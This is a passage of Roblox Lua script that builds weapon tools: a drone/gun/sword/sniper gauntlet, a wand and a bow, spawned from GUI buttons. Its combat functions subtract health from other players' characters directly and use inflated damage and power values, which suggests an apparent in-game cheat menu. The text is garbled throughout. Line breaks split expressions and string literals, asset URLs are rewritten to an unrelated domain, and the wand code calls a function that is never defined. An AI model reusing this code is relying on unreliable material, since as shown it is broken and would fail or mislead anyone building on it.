Vector3.new(trz[math.random(1,2)],trz[math.random(1,2)],trz[math.random(1,2)])
light1=Instance.new("PointLight")
light1.Brightness=.8
light1.Color=Color3.new(.2,255,.2)
light1.Range=8
light1.Parent=li
local trolpos =
CFrame.new(curpos,p1)*CFrame.new(0,0,magz/tym).p+ofz
if tym == i then
local magz2 = (curpos - p1).magnitude li.Size =
Vector3.new(th,th,magz2)
li.CFrame = CFrame.new(curpos,p1)*CFrame.new(0,0,-magz2/2)
else
li.CFrame =
CFrame.new(curpos,trolpos)*CFrame.new(0,0,magz/tym/2)
end
curpos = li.CFrame*CFrame.new(0,0,magz/tym/2).p
game.Debris:AddItem(li,.2)
end
end
spread=0
range=500
rangepower=50
function shoottrail(ShootPosition,baseprt,Damage,Knockback,Size)
coroutine.resume(coroutine.create(function()
local spreadvector = (Vector3.new(math.random(-
spread,spread),math.random(-spread,spread),math.random(-spread,spread))) *
(baseprt.Position-ShootPosition).magnitude/100
local dir =
CFrame.new((baseprt.Position+ShootPosition)/2,ShootPosition+spreadvector)
local hit,pos =
rayCast(baseprt.Position,dir.lookVector,10,modelzorz)
local rangepos = range
local function drawtrail(From,To)
local effectsmsh = Instance.new("CylinderMesh")
effectsmsh.Scale = Vector3.new(1,1,1)
effectsmsh.Name = "Mesh"
local effectsg = Instance.new("Part")
effectsg.formFactor = 3
effectsg.CanCollide = false
effectsg.Name = "Eff"
effectsg.Locked = true
effectsg.Anchored = true
effectsg.Size = Vector3.new(0.2,0.2,0.2)
effectsg.Parent = modelzorz
effectsmsh.Parent = effectsg
effectsg.BrickColor = BrickColor.new("Bright yellow")
effectsg.Reflectance = 0.4
local LP = From
local point1 = To
local mg = (LP - point1).magnitude
effectsmsh.Scale = Vector3.new(2,mg*5,2)
effectsg.CFrame = CFrame.new((LP+point1)/2,point1) *
CFrame.Angles(math.rad(90),0,0)
coroutine.resume(coroutine.create(function()
for i = 0 , 1 , 0.1 do
wait()
effectsg.Transparency = 1*i
effectsmsh.Scale = Vector3.new(Size-
Size*i,mg*5,Size-Size*i)
end
effectsg.Parent = nil
end))
end
local newpos = baseprt.Position
local inc = rangepower
repeat
wait() wait()
rangepos = rangepos - 10
dir = dir
if Mode~="Sniper" then
dir = dir * CFrame.Angles(math.rad(-1),0,0)
end
hit,pos = rayCast(newpos,dir.lookVector,inc,Character)
drawtrail(newpos,pos)
newpos = newpos + (dir.lookVector * inc)
if inc >= 20 then
inc = inc - 10
end
if hit ~= nil then
rangepos = 0
end
until rangepos <= 0
if hit ~= nil then
if hit.Parent:FindFirstChild("Humanoid") ~= nil then
critical=false
if SnipAim==true then
if hit.Name=="Head" then
coroutine.resume(coroutine.create(function(HeadPart)
for i=0,0.5,0.1 do
wait()
HeadPart.Velocity=vt(0,60,0)
end
end),hit)
print("CRITICAL")
critical=true
p=it("Part")
p.Parent=workspace
p.CanCollide=false
p.Transparency=1
p.CFrame=hit.CFrame
p.Anchored=true
local GUI = it("BillboardGui")
GUI.Adornee = p
GUI.Parent = p
GUI.Active = true
GUI.Enabled = true
GUI.Size = UDim2.new(1, 0, 1, 0)
GUI.StudsOffset = vt(0, 4, 0)
local Chat = it("TextLabel")
Chat.Parent = GUI
Chat.FontSize = "Size12"
Chat.Position = UDim2.new(0.599999964, 0,
0, 0)
Chat.Visible = true
Chat.Text = "Critical!"
coroutine.resume(coroutine.create(function(Part)
for i=0,4,0.1 do
wait()
Part.CFrame=Part.CFrame*cf(0,0.05,0)
end
Part.Parent=nil
end),p)
for i=0,7 do
Blood=it("Part")
Blood.Name="Blood"
Blood.TopSurface="Smooth"
Blood.BottomSurface="Smooth"
Blood.formFactor="Plate"
Blood.BrickColor=BrickColor:Red()
Blood.Size=vt(1,.4,1)
Blood.Velocity=vt(math.random(-
4,4),math.random(5,25),math.random(-4,4))
Blood.CFrame=hit.CFrame*euler(math.random(-50,50),math.random(-
50,50),math.random(-50,50))
Blood.Parent=workspace
Blood.Velocity=vt(math.random(-
20,20),math.random(20,50),math.random(-20,20))
Blood.CanCollide=false
coroutine.resume(coroutine.create(function(blod)
wait(0.1)
blod.CanCollide=true
wait(5)
blod.Parent = nil
end),Blood)
end
end
hum = hit.Parent.Humanoid
tTorso=hit.Parent.Torso
end
if critical==true then
CRIT=true
Damagefunc1(hit,Damage*math.random(3,8),Knockback)
else
Damagefunc1(hit,Damage,Knockback)
end
attackdebounce=false
--ADmg(hum,hit)
elseif hit.Parent.Parent ~= nil and
hit.Parent.Parent:FindFirstChild("Humanoid") ~= nil then
if SnipAim==true then
if hit.Parent.className == "Hat" then
hatCF=hit.CFrame
coroutine.resume(coroutine.create(function(hat)
hat.Handle:BreakJoints()
hat.Handle.CFrame=hatCF
hat.Handle.CanCollide=true
hat.Handle.Velocity=vt(math.random(-10,10),40,math.random(-10,10))
wait(3)
hatCF=hat.Handle.CFrame
hat.Parent=workspace
for i=0,4,0.2 do
wait()
hat.Handle.CFrame=hatCF
hat.Handle.Velocity=vt(math.random(-5,5),20,math.random(-5,5))
end
end),hit.Parent)
--[[hit:BreakJoints()
hit.CFrame=CF
hit.Velocity = vt(math.random(-5,5),20,math.random(-5,5)) ]]
print("BREAKHAT")
end
end
hum = hit.Parent.Parent.Humanoid
tTorso=hit.Parent.Parent.Torso
Damagefunc1(hit.Parent.Parent.Torso,Damage,Knockback)
attackdebounce=false
--ADmg(hum,hit)
end
end
end))
end
function findNearestTorso(pos)
local list = game:service("Workspace"):children()
local torso = nil
local dist = 50
local temp = nil
local human = nil
local temp2 = nil
for x = 1, #list do
temp2 = list[x]
if (temp2.className == "Model") and (temp2 ~= Character) and
(temp2.Name ~= "Fenrier") then
temp = temp2:findFirstChild("Torso")
human = temp2:findFirstChild("Humanoid")
if (temp ~= nil) and (human ~= nil) and (human.Health > 0)
then
if (temp.Position - pos).magnitude < dist then
torso = temp
dist = (temp.Position - pos).magnitude
end
end
end
end
return torso
end
function MagicCircle(brickcolor,cframe,x1,y1,z1,x2,y2,z2,x3,y3,z3)
local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
prt.Anchored=true
prt.CFrame=cframe*cf(x2,y2,z2)
local msh=mesh("SpecialMesh",prt,"Sphere","",vt(0,0,0),vt(x1,y1,z1))
coroutine.resume(coroutine.create(function()
for i=0,1,0.1 do
wait()
prt.CFrame=prt.CFrame
prt.Transparency=i
msh.Scale=msh.Scale+vt(x3,y3,z3)
end
prt.Parent=nil
end))
end
Damagefunc1=function(hit,Damage,Knockback)
if hit.Parent==nil then
return
end
CPlayer=Bin
h=hit.Parent:FindFirstChild("Humanoid")
if h~=nil and hit.Parent.Name~=Character.Name and
hit.Parent:FindFirstChild("Torso")~=nil then
if attackdebounce == false then
attackdebounce = true
coroutine.resume(coroutine.create(function()
wait(0.2)
attackdebounce = false
end))
Damage=Damage
--[[ if game.Players:GetPlayerFromCharacter(hit.Parent)~=nil then
return
end]]
-- hs(hit,1.2)
c=Instance.new("ObjectValue")
c.Name="creator"
c.Value=game:service("Players").LocalPlayer
c.Parent=h
game:GetService("Debris"):AddItem(c,.5)
Damage=Damage+math.random(0,10)
-- h:TakeDamage(Damage)
blocked=false
block=hit.Parent:findFirstChild("Block")
if block~=nil then
print("herp")
if block.Value>0 then
blocked=true
block.Value=block.Value-1
print(block.Value)
end
end
if blocked==false then
-- h:TakeDamage(Damage)
h.Health=h.Health-Damage
showDamage(hit.Parent,Damage,.5)
else
h:TakeDamage(1)
showDamage(hit.Parent,1,.5)
end
vp=Instance.new("BodyVelocity")
vp.P=500
vp.maxForce=Vector3.new(math.huge,0,math.huge)
--
vp.velocity=Character.Torso.CFrame.lookVector*Knockback
vp.velocity=Head.CFrame.lookVector*Knockback+Head.Velocity/1.05
if Knockback>0 then
vp.Parent=hit.Parent.Torso
end
game:GetService("Debris"):AddItem(vp,.25)
c=Instance.new("ObjectValue")
c.Name="creator"
c.Value=Player
c.Parent=h
game:GetService("Debris"):AddItem(c,.5)
CRIT=false
hitDeb=true
AttackPos=6
end
end
end
showDamage=function(Char,Dealt,du)
m=Instance.new("Model")
m.Name=tostring(Dealt)
h=Instance.new("Humanoid")
h.Health=0
h.MaxHealth=0
h.Parent=m
c=Instance.new("Part")
c.Transparency=0
c.BrickColor=BrickColor:Red()
if CRIT==true then
c.BrickColor=BrickColor.new("Really red")
end
c.Name="Head"
c.TopSurface=0
c.BottomSurface=0
c.formFactor="Plate"
c.Size=Vector3.new(1,.4,1)
ms=Instance.new("CylinderMesh")
ms.Scale=Vector3.new(.8,.8,.8)
if CRIT==true then
ms.Scale=Vector3.new(1,1.25,1)
end
ms.Parent=c
c.Reflectance=0
Instance.new("BodyGyro").Parent=c
c.Parent=m
c.CFrame=CFrame.new(Char["Head"].CFrame.p+Vector3.new(0,1.5,0))
f=Instance.new("BodyPosition")
f.P=2000
f.D=100
f.maxForce=Vector3.new(math.huge,math.huge,math.huge)
f.position=c.Position+Vector3.new(0,3,0)
f.Parent=c
game:GetService("Debris"):AddItem(m,.5+du)
c.CanCollide=false
m.Parent=workspace
c.CanCollide=false
end
function ob1d(mouse)
if attack == true then return end
hold=true
if Mode=="Drones" and Aiming==true then
print("Attack drones")
for i=0,1,0.1 do
wait()
RW.C0=cf(1.5, 0.5, 0) * euler(0.5+1.07*i,0,0)
RW.C1=cf(0, 0.5, 0) * euler(0,0,0)
LW.C0=cf(-1.5, 0.5, 0) * euler(0,0,-0.2)
LW.C1=cf(0, 0.5, 0) * euler(0,0,0)
end
Drone1debounce=false
Drone2debounce=false
Drone3debounce=false
for _,v in pairs(modelzorz:children()) do
if v.Name=="Drone" then
coroutine.resume(coroutine.create(function(Drone)
while hold==true do
so("http://roblox.com/asset/?
id=10209257",Drone.DPart1,0.5,1.5)
shoottrail(MMouse.Hit.p,Drone.DPart1,5,0,1)
wait(math.random(0,2)+math.random())
end
end),v)
end
end
while hold==true do
wait()
end
for i=0,1,0.1 do
wait()
RW.C0=cf(1.5, 0.5, 0) * euler(1.57-1.07*i,0,0)
RW.C1=cf(0, 0.5, 0) * euler(0,0,0)
LW.C0=cf(-1.5, 0.5, 0) * euler(0,0,-0.2)
LW.C1=cf(0, 0.5, 0) * euler(0,0,0)
end
elseif Aiming==false then
for _,v in pairs(modelzorz:children()) do
if v.Name=="Drone" and v:findFirstChild("CanShoot")~=nil
then
coroutine.resume(coroutine.create(function(Drone)
while hold==true do
if v.CanShoot.Value==true then
print("Shoot")
so("http://roblox.com/asset/?
id=10209257",Drone.DPart1,0.5,1.5)
shoottrail(Drone.DPart6.Position,Drone.DPart1,5,0,1)
elseif v.CanShoot.Value==false then
print("NoShoot")
end
wait(math.random(0,2)+math.random())
end
end),v)
end
end
end
if Mode=="Gun" then
print("Shoot")
Shoot()
end
if Mode=="Sword" then
slash1()
if hold==true then
slash2()
end
if hold==true then
slash3()
end
wait(0.5)
Bg.Parent=nil
Neck.C0=necko*euler(0,0,0)
swld1.C0=euler(0,-1.57,-1.57)*cf(0,1,0)
swld1.C1=euler(0,1.57,0)
RW.C0=cf(1.5, 0.5, 0) * euler(0,0,0.2)
RW.C1=cf(0, 0.5, 0) * euler(0,0,0)
LW.C0=cf(-1.5, 0.5, 0) * euler(0,0,-0.4)
LW.C1=cf(0, 0.5, 0) * euler(0,0,0)
end
if Mode=="Sniper" and SnipAim==true then
SniperShoot()
end
end
function ob1u(mouse)
hold = false
end
buttonhold = false
eul=0
function key(key)
if attack == true then return end
if Mode=="Drones" then
if key=="z" then
RemoveDrones()
Mode="Choose"
equipanim()
return
end
if key=="f" then
if Aiming==false then
attack=true
for i=0,1,0.1 do
wait()
RW.C0=cf(1.5, 0.5, 0) * euler(0.5+2.64*i,0,0)
RW.C1=cf(0, 0.5, 0) * euler(0,0,0)
LW.C0=cf(-1.5, 0.5, 0) * euler(0,0,-0.2)
LW.C1=cf(0, 0.5, 0) * euler(0,0,0)
end
for i=0,1,0.1 do
wait()
RW.C0=cf(1.5, 0.5, 0) * euler(3.14-1.57*i,0,0)
RW.C1=cf(0, 0.5, 0) * euler(0,0,0)
LW.C0=cf(-1.5, 0.5, 0) * euler(0,0,-0.2)
LW.C1=cf(0, 0.5, 0) * euler(0,0,0)
end
Aiming=true
coroutine.resume(coroutine.create(function()
while Aiming==true do
wait()
DroneTarget=MMouse.Hit.p
end
end))
wait(0.5)
for i=0,1,0.1 do
wait()
RW.C0=cf(1.5, 0.5, 0) * euler(1.57-1.07*i,0,0)
RW.C1=cf(0, 0.5, 0) * euler(0,0,0)
LW.C0=cf(-1.5, 0.5, 0) * euler(0,0,-0.2)
LW.C1=cf(0, 0.5, 0) * euler(0,0,0)
end
attack=false
elseif Aiming==true then
attack=true
for i=0,1,0.1 do
wait()
RW.C0=cf(1.5-0.5*i, 0.5, -0.5*i) *
euler(.5+1.07*i,0,-1*i)
RW.C1=cf(0, 0.5, 0) * euler(0,0,0)
LW.C0=cf(-1.5+0.5*i, 0.5, -0.5*i) *
euler(1.57*i,0,-0.2+1.2*i)
LW.C1=cf(0, 0.5, 0) * euler(0,0,0)
end
Aiming=false
for _,v in pairs(modelzorz:children()) do
if v.Name=="Drone" then
Valuee=Instance.new("BoolValue")
Valuee.Parent=v
Valuee.Name="CanShoot"
print("Found Drone")
coroutine.resume(coroutine.create(function(DDrone,Val,Gyro)
--
coroutine.resume(coroutine.create(function()
while Aiming==false do
wait()
local target =
findNearestTorso(DDrone.DPart1.Position)
if target~=nil then
Val.Value=true
Gyro.cframe=cf(DDrone.DPart1.Position, target.Position)
else
Val.Value=false
Gyro.cframe=cf(DDrone.DPart1.Position, Torso.Position)
end
end
Val.Parent=nil
end),v,Valuee,v.DPart1.DroneGyro)
end
end
wait(0.5)
for i=0,1,0.1 do
wait()
RW.C0=cf(1+.5*i, 0.5, -0.5+0.5*i) * euler(1.57-
1.07*i,0,-1+1*i)
RW.C1=cf(0, 0.5, 0) * euler(0,0,0)
LW.C0=cf(-1-.5*i, 0.5, -0.5+0.5*i) *
euler(1.57-1.57*i,0,1-1.2*i)
LW.C1=cf(0, 0.5, 0) * euler(0,0,0)
end
attack=false
end
end
end
if Mode=="Gun" then
if key=="x" then
RemoveGun()
Mode="Choose"
equipanim()
return
end
end
if Mode=="Sword" then
if key=="c" then
RemoveSword()
Mode="Choose"
equipanim()
return
end
if key=="f" then
BowShoot()
end
end
if Mode=="Sniper" then
if key=="v" then
if SnipAim==true then
SnipAim=false
UnAim()
end
RemoveSniper()
Mode="Choose"
equipanim()
return
end
if key=="f" then
if SnipAim==false then
SnipAim=true
Aim()
else
SnipAim=false
UnAim()
end
end
end
if Mode=="Choose" then
if key=="f" then
RemoveDrones2()
end
if key=="z" then
Drone1,Drone2,Drone3=Drones()
end
if key=="x" then
Gun()
end
if key=="c" then
Sword()
end
if key=="v" then
Sniper()
end
end
end
function key2(key)
if key=="f" then
BowAim=false
end
end
function s(mouse)
mouse.Button1Down:connect(function() ob1d(mouse) end)
mouse.Button1Up:connect(function() ob1u(mouse) end)
mouse.KeyDown:connect(key)
mouse.KeyUp:connect(key2)
unsheathed = true
player = Player
ch = Character
MMouse = mouse
RSH = ch.Torso["Right Shoulder"]
LSH = ch.Torso["Left Shoulder"]
--
RSH.Parent = nil
LSH.Parent = nil
--
RW.Part0 = ch.Torso
RW.C0 = CFrame.new(1.5, 0.5, 0) --* CFrame.fromEulerAnglesXYZ(1.3, 0, -
0.5)
RW.C1 = CFrame.new(0, 0.5, 0)
RW.Part1 = ch["Right Arm"]
RW.Parent = ch.Torso
--_G.R = RW
--
LW.Part0 = ch.Torso
LW.C0 = CFrame.new(-1.5, 0.5, 0) --* CFrame.fromEulerAnglesXYZ(1.7, 0,
0.8)
LW.C1 = CFrame.new(0, 0.5, 0)
LW.Part1 = ch["Left Arm"]
LW.Parent = ch.Torso
--_G.L = LW
--
equipanim()
end
function ds(mouse)
hideanim()
wait(0)
RW.Parent = nil
LW.Parent = nil
RSH.Parent = player.Character.Torso
LSH.Parent = player.Character.Torso
end
Bin.Selected:connect(s)
Bin.Deselected:connect(ds)
print("Fenrier's Techno Gauntlet loaded.")
-- mediafire lego
--[[
Copyrighted (C) Fenrier 2013
]]
end)
--
local button = Instance.new("TextButton")
button.Parent = ws
button.BackgroundColor3 = blak
button.BorderColor3 = rede
button.BorderSizePixel = 3
button.Name = "Wand"
button.Position = UDim2.new(0,0,0,231)
button.Size = UDim2.new(0.5,0,0,30)
button.ZIndex = 2
button.Font = tef
button.FontSize = "Size14"
button.Text = "Wand"
button.TextColor3 = whit
button.TextWrapped = true
button.MouseButton1Down:connect(function()
tool = Instance.new("HopperBin")
player = game.Players.LocalPlayer
char = player.Character
tool = Instance.new("HopperBin")
tool.Parent = player.Backpack
script.Parent = tool
tool.Name = "Wand"
spin = false
norm = 18
handle = Instance.new("Part")
handle.Parent = game.Lighting
handle.Name = "Handle"
handle.FormFactor = "Symmetric"
handle.Size = Vector3.new(1,4,1)
handle.TopSurface = 0
handle.BottomSurface = 0
handle.BrickColor = BrickColor.new("Black")
handle.Anchored = false
handle.Position = char["Right Arm"].Position
handle.CanCollide = false
handle.Locked = true
handle2 = Instance.new("Part")
handle2.Parent = game.Lighting
handle2.Name = "Handle2"
handle2.Shape = "Ball"
handle2.Size = Vector3.new(1,1,1)
handle2.TopSurface = 0
handle2.BottomSurface = 0
handle2.BrickColor = BrickColor.new("Bright red")
handle2.Anchored = false
handle2.Position = char["Right Arm"].Position
handle2.Transparency = 0.1
handle2.CanCollide = false
handle2.Locked = true
handle3 = Instance.new("Part")
handle3.Parent = game.Lighting
handle3.Name = "Handle2"
handle3.Shape = "Ball"
handle3.Size = Vector3.new(1,1,1)
handle3.TopSurface = 0
handle3.BottomSurface = 0
handle3.BrickColor = BrickColor.new("Black")
handle3.Anchored = false
handle3.Position = char["Right Arm"].Position
handle3.CanCollide = false
handle3.Locked = true
local m = Instance.new("CylinderMesh")
m.Parent = handle
m.Scale = Vector3.new(0.42,1,0.42)
local m2 = Instance.new("SpecialMesh")
m2.Parent = handle2
m2.MeshType = "Sphere"
m2.Scale = Vector3.new(0.8,0.8,0.8)
local m3 = Instance.new("SpecialMesh")
m3.Parent = handle3
m3.MeshType = "FileMesh"
m3.MeshId = "http://www.roblox.com/asset/?id=1033714"
m3.Scale = Vector3.new(0.4,0.85,0.4)
brick1 = Instance.new("Part")
brick1.Parent = char
brick1.formFactor = "Symmetric"
brick1.Size = Vector3.new(1,1,1)
brick1.CFrame = player.Character.Torso.CFrame * CFrame.new(-1.5,0.5,0)
brick1.Shape = "Ball"
brick1.CanCollide = false
brick1.Transparency = 1
brick1.Locked = true
mesh1 = Instance.new("SpecialMesh")
mesh1.Parent = brick1
mesh1.MeshType = "Sphere"
mesh1.Scale = Vector3.new(1.4,1.4,1.4)
brick2 = Instance.new("Part")
brick2.Parent = game.Lighting
brick2.formFactor = "Symmetric"
brick2.Size = Vector3.new(1,1,1)
brick2.CFrame = player.Character.Torso.CFrame * CFrame.new(-1.5,0.5,0)
brick2.Shape = "Ball"
brick2.CanCollide = false
brick2.Transparency = 1
brick2.BrickColor = handle2.BrickColor
brick2.Locked = true
mesh2 = Instance.new("SpecialMesh")
mesh2.Parent = brick2
mesh2.MeshType = "Sphere"
mesh2.Scale = Vector3.new(0.5,0.5,0.5)
brick3 = Instance.new("Part")
brick3.Parent = game.Lighting
brick3.formFactor = "Symmetric"
brick3.Size = Vector3.new(1,1,1)
brick3.CFrame = player.Character.Torso.CFrame * CFrame.new(-1.5,0.5,0)
brick3.Shape = "Ball"
brick3.CanCollide = false
brick3.Transparency = 1
brick3.BrickColor = handle2.BrickColor
brick3.Locked = true
mesh3 = Instance.new("SpecialMesh")
mesh3.Parent = brick3
mesh3.MeshType = "Sphere"
mesh3.Scale = Vector3.new(0.5,0.5,0.5)
wads = Instance.new("Weld")
wads.Parent = char.Torso
wads.Part0 = wads.Parent
wads.Part1 = brick1
wads.C1 = CFrame.new(-1.5,-0.5,0)
wads2 = Instance.new("Weld")
wads2.Parent = handle2
wads2.Part0 = wads2.Parent
wads2.Part1 = brick2
wads2.C1 = CFrame.new(1,0,0)
wads3 = Instance.new("Weld")
wads3.Parent = handle2
wads3.Part0 = wads2.Parent
wads3.Part1 = brick2
wads3.C1 = CFrame.new(-1,0,0)
wa = Instance.new("Weld")
wa.Parent = brick1
wa.Part0 = nil
wa.Part1 = nil
weld = Instance.new("Weld")
toha = Instance.new("Weld")
toha.Parent = char.Torso
toha.Part0 = nil
toha.Part1 = nil
toha.C1 = CFrame.fromEulerAnglesXYZ(0,0,-2.5) * CFrame.new(0,0,-0.7)
myhum = char.Humanoid
myhum.WalkSpeed = norm
enabled = false
hol = false
function deselect()
spin = false
for i = 1, 8 do
wa.C1 = wa.C1 * CFrame.fromEulerAnglesXYZ(-0.35,0,0)
wait()
end
for i = 1, 4 do
wa.C1 = wa.C1 * CFrame.fromEulerAnglesXYZ(0,0.2,0)
wait()
end
toha.Part0 = toha.Parent
toha.Part1 = handle
weld.Part0 = nil
weld.Part1 = nil
wait()
wa.Part0 = nil
wa.Part1 = nil
end
script.Parent.Selected:connect(select)
script.Parent.Deselected:connect(deselect)
end)
--
local button = Instance.new("TextButton")
button.Parent = ws
button.BackgroundColor3 = blak
button.BorderColor3 = rede
button.BorderSizePixel = 3
button.Name = "xBow"
button.Position = UDim2.new(0.5,3,0,231)
button.Size = UDim2.new(0.5,-3,0,30)
button.ZIndex = 2
button.Font = tef
button.FontSize = "Size14"
button.Text = "xBow"
button.TextColor3 = whit
button.TextWrapped = true
button.MouseButton1Down:connect(function()
me = game.Players.LocalPlayer
char = me.Character
Selected = false
Able = true
Arrow = nil
ArrowOn = false
Hurt = false
Deb = true
Reloading = false
Shooting = false
Slashing = false
necko = CFrame.new(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
EffectOn = false
Accuracy = 1
SelAnim = false
DMG = 123452323
LapaCol = "Brown"
HandCol = "Brown"
MiddleCol = "Brown"
ViiniCol = "Brown"
Icon = "http://www.roblox.com/asset/?id=51902588"
Keys = {
e = false,
}
ModelName = "Epic Bow"
CA = CFrame.Angles
CN = CFrame.new
MR = math.rad
MP = math.pi
MRA = math.random
MH = math.huge
UD = UDim2.new
C3 = Color3.new
MaximumPower = 1000000000
MaxSpecial = 100000
Special = MaxSpecial
Sounds = {
Slash = {"rbxasset://sounds//swordslash.wav", 1.2, 1},
Shoot = {"http://www.roblox.com/asset/?id=16211041", 2, 1},
Stick = {"http://www.roblox.com/asset/?id=2767090", 15, 1},
Hit = {"http://www.roblox.com/asset/?id=10209590", 0.9, 1},
Block = {"rbxasset://sounds\\metal.ogg", 1.4, 1},
}
function RC(Pos, Dir, Max, Ignore)
return workspace:FindPartOnRay(Ray.new(Pos, Dir.unit * (Max or 999)),
Ignore)
end
function RayC(Start, En, MaxDist, Ignore)
return RC(Start, (En - Start), MaxDist, Ignore)
end
function DetectSurface(pos, part)
local surface = nil
local pospos = part.CFrame
local pos2 = pospos:pointToObjectSpace(pos)
local siz = part.Size
local shaep = part.Shape
if shaep == Enum.PartType.Ball or shaep == Enum.PartType.Cylinder then
surface = {"Anything", CN(pospos.p, pos)*CN(0, 0, -(pospos.p -
pos).magnitude)*CA(MR(-90), 0, 0)}
else
if pos2.Y > ((siz.Y/2)-0.04) then
surface = {"Top", CA(0, 0, 0)}
elseif pos2.Y < -((siz.Y/2)-0.04) then
surface = {"Bottom", CA(-MP, 0, 0)}
elseif pos2.X > ((siz.X/2)-0.04) then
surface = {"Right", CA(0, 0, MR(-90))}
elseif pos2.X < -((siz.X/2)-0.04) then
surface = {"Left", CA(0, 0, MR(90))}
elseif pos2.Z > ((siz.Z/2)-0.04) then
surface = {"Back", CA(MR(90), 0, 0)}
elseif pos2.Z < -((siz.Z/2)-0.04) then
surface = {"Front", CA(MR(-90), 0, 0)}
end
end
return surface
end
function Compute(pos1, pos2)
local pos3 = Vector3.new(pos2.x, pos1.y, pos2.z)
return CN(pos1, pos3)
end
function Notime(func, tiem)
if tiem then wait(tiem) end
coroutine.resume(coroutine.create(function() func() end))
end
function waitChild(p, n)
local child = p:findFirstChild(n)
if child then return child end
while true do
child = p.ChildAdded:wait()
if child.Name == n then return child end
end
end
function getHumanoid(c)
for _,v in pairs(c:children()) do
if v:IsA("Humanoid") and c ~= char then if v.Health > 0 then
return v end end
end
end
function SE(part, pos)
EffectOn = true
local lastP = (part.CFrame * pos).p
Notime(function()
while EffectOn do
wait()
local posnow = (part.CFrame * pos).p
local eff = Part(workspace, true, false, 0, 0, "Really
black", 0.2, 1, 0.2)
local magn = (lastP - posnow).magnitude
local cf = CN(lastP, posnow) * CA(MR(-90), 0, 0)
local mes2 = Instance.new("SpecialMesh",eff)
mes2.Scale = Vector3.new(0.6, magn, 0.6)
eff.CFrame = cf * CN(0, magn/2, 0)
Notime(function()
for i = 0, 1, 0.1 do
wait()
eff.Transparency = i
eff.Reflectance = 0.15*i
mes2.Scale = Vector3.new(0.6-0.6*i, magn, 0.6-
0.6*i)
end
eff:remove()
end)
lastP = posnow
end
end)
end
function EE()
EffectOn = false
end
torso = waitChild(char, "Torso")
Rarm = waitChild(char, "Right Arm")
Larm = waitChild(char, "Left Arm")
Rleg = waitChild(char, "Right Leg")
Lleg = waitChild(char, "Left Leg")
Hum = waitChild(char, "Humanoid")
neck = waitChild(torso, "Neck")
function EditGui(obj, parent, size, position, bgcolor, bordercolor,
transparency, text, textcolor, auto)
obj.Size = size
obj.Position = position
obj.BackgroundColor3 = bgcolor
obj.BorderColor3 = bordercolor
obj.BackgroundTransparency = transparency
if obj:IsA("TextLabel") or obj:IsA("TextButton") then
obj.Text = text
obj.TextColor3 = textcolor
end
if obj:IsA("ImageButton") or obj:IsA("TextButton") then
obj.AutoButtonColor = auto
obj.MouseButton1Down:connect(function()
RemoveOptions()
end)
end
obj.Parent = parent
end
Gui = waitChild(me, "PlayerGui")
for _,v in pairs(Gui:children()) do
if v.Name == "Power" then v:remove() end
end
Sc = Instance.new("ScreenGui", Gui)
Sc.Name = "Power"
Main = Instance.new("TextLabel")
Main.Visible = false
EditGui(Main, Sc, UD(0, 200, 0, 65), UD(0.5, -100, 0, 120), C3(0.06, 0.06,
0.1), C3(), 0.5, "Power", C3(1, 1, 0))
Main.TextYAlignment = "Top"
Main.FontSize = "Size36"
Main.Font = "ArialBold"
Main.TextTransparency = 0.5
BarBack = Instance.new("Frame")
EditGui(BarBack, Main, UD(1, -10, 0, 25), UD(0, 5, 1, -30), C3(0, 0, 0),
C3(), 0.5)
Bar = Instance.new("ImageLabel")
EditGui(Bar, BarBack, UD(0, 0, 1, 0), UD(0, 0, 0, 0), C3(1, 0.7, 0), C3(),
0.5)
Bar.Image = "http://www.roblox.com/asset/?id=48965808"
Spec = Instance.new("Frame")
EditGui(Spec, Sc, UD(0, 250, 0, 22), UD(0.04, 0, 0, 5), C3(1, 0.75, 0.1),
C3(), 0)
SpecialBack = Instance.new("Frame")
EditGui(SpecialBack, Spec, UD(1, -10, 1, -6), UD(0, 5, 0, 3), C3(0.35, 0.1,
0.15), C3(), 0)
SpecialBar = Instance.new("ImageLabel")
EditGui(SpecialBar, SpecialBack, UD(Special/MaxSpecial, 0, 1, 0), UD(0, 0, 0,
0), C3(0.1, 0.65, 0.2), C3(), 0)
SpecialBar.Image = "http://www.roblox.com/asset/?id=48965808"
for i = 1, 3, 1 do
local p = Instance.new("Frame")
EditGui(p, SpecialBack, UD(0, 1, 1, 0), UD(i/4, 0, 0, 0), C3(0.1, 0.2,
1), C3(), 0)
p.BorderSizePixel = 0
end
SpecialText = Instance.new("TextLabel")
EditGui(SpecialText, SpecialBack, UD(1, 0, 1, 0), UD(0, 0, 0, 0), C3(), C3(),
1, "S P E C I A L", C3(1,1,1))
SpecialText.Font = "ArialBold"
SpecialText.FontSize = "Size14"
function Play(Sound)
local s = Instance.new("Sound")
s.SoundId = Sound[1]
s.Pitch = Sound[2]
s.Volume = Sound[3]
s.Parent = torso
s.PlayOnRemove = true
game.Debris:AddItem(s, 0.0001)
end
RSH = waitChild(torso, "Right Shoulder")
LSH = waitChild(torso, "Left Shoulder")
RH = waitChild(torso, "Right Hip")
LH = waitChild(torso, "Left Hip")
for i,v in pairs(char:children()) do if v.Name == ModelName then v:remove()
end end
function Part(P, Anch, Coll, Tran, Ref, Col, X, Y, Z)
local p = Instance.new("Part")
p.TopSurface = 0
p.BottomSurface = 0
p.Transparency = Tran
p.Reflectance = Ref
p.CanCollide = Coll
p.Anchored = Anch
p.BrickColor = BrickColor.new(Col)
p.formFactor = "Custom"
p.Size = Vector3.new(X,Y,Z)
p.Parent = P
p.Locked = true
p:BreakJoints()
return p
end
function Weld(P0, P1, X, Y, Z, A, B, C)
local w = Instance.new("Weld")
w.Part0 = P0
w.Part1 = P1
w.C1 = CN(X, Y, Z) * CA(A, B, C)
w.Parent = P0
return w
end
Mo = Instance.new("Model")
Mo.Name = ModelName
FTorso = Part(Mo, false, false, 1, 0, torso.BrickColor.Name, torso.Size.X,
torso.Size.Y, torso.Size.Z)
FWeld = Weld(torso, FTorso, 0, 0, 0, 0, 0, 0)
RABrick = Part(Mo, false, false, 1, 0, "Really black", 0.1, 0.1, 0.1)
LABrick = Part(Mo, false, false, 1, 0, "Really black", 0.1, 0.1, 0.1)
RLBrick = Part(Mo, false, false, 1, 0, "Really black", 0.1, 0.1, 0.1)
LLBrick = Part(Mo, false, false, 1, 0, "Really black", 0.1, 0.1, 0.1)
